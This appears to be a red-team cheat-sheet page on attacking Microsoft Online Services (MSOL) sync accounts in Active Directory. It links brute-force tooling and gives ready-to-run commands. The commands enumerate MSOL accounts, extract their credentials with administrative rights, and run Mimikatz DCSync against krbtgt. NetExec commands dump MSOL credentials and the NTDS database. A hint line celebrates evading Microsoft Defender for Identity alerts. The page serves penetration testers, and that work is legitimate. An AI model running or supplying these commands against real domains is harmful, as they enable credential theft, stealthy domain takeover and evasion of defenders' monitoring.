# MSOL (Microsoft Online Services) account

{% embed url="<https://www.tevora.com/threat-blog/targeting-msol-accounts-to-compromise-internal-networks/>" %}

## Brute force

{% embed url="<https://github.com/dafthack/MSOLSpray>" %}

{% content-ref url="../../brute-force/o365-bruteforce" %}
[o365-bruteforce](https://0xss0rz.gitbook.io/0xss0rz/pentest/brute-force/o365-bruteforce)
{% endcontent-ref %}

## Enumerate the PHS account and server where AD Connect is installed.

```powershell
# PowerView
Get-DomainUser -Identity "MSOL_*" -Domain domain.local

# AD module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server domain.local -Properties * | select SamAccountName,Description | fl
```

## Extract MSOL credentials

{% hint style="warning" %}
*Administrative privileges needed*
{% endhint %}

{% embed url="<https://blog.xpnsec.com/azuread-connect-for-redteam/>" %}

{% embed url="<https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1>" %}

```powershell
.\adconnect.ps1
```

With the password

```powershell
runas /user:domain.local\MSOL_16fb75d0227d /netonly cmd
```

### DCSync

{% hint style="success" %}
*Because AD Connect synchronizes hashes every two minutes, in an Enterprise Environment, the MSOL\_ account will be excluded from tools like MDI. This will allow us to run DCSync without any alerts.* 🥳
{% endhint %}

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local"'
```

{% content-ref url="../../internal-pentest/dcsync" %}
[dcsync](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/dcsync)
{% endcontent-ref %}

## NXC

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FktRHLofwk914yUda0VBR%2F1751562446448.jpg?alt=media&#x26;token=4a3d8982-4182-402e-8486-9a4b45e5faf7" alt=""><figcaption></figcaption></figure>

```
nxc ldap [IP] -u username -p password -M entra-id
```

Get MSOL Credentials

```
nxc smb 10.0.0.8 -u admin01 -p '<-SNIP->' --local-auth -M msol    
```

MSOL account can perform a **DCSync** because the MSOL account has the **Replicate Directory Changes All** permissions

```yaml
nxc smb 10.0.0.4  -u MSOL_80541c18ebaa -p '<-SNIP->' --ntds
```

{% embed url="<https://www.rayanle.cat/lehack-2024-netexec-workshop-writeup/>" %}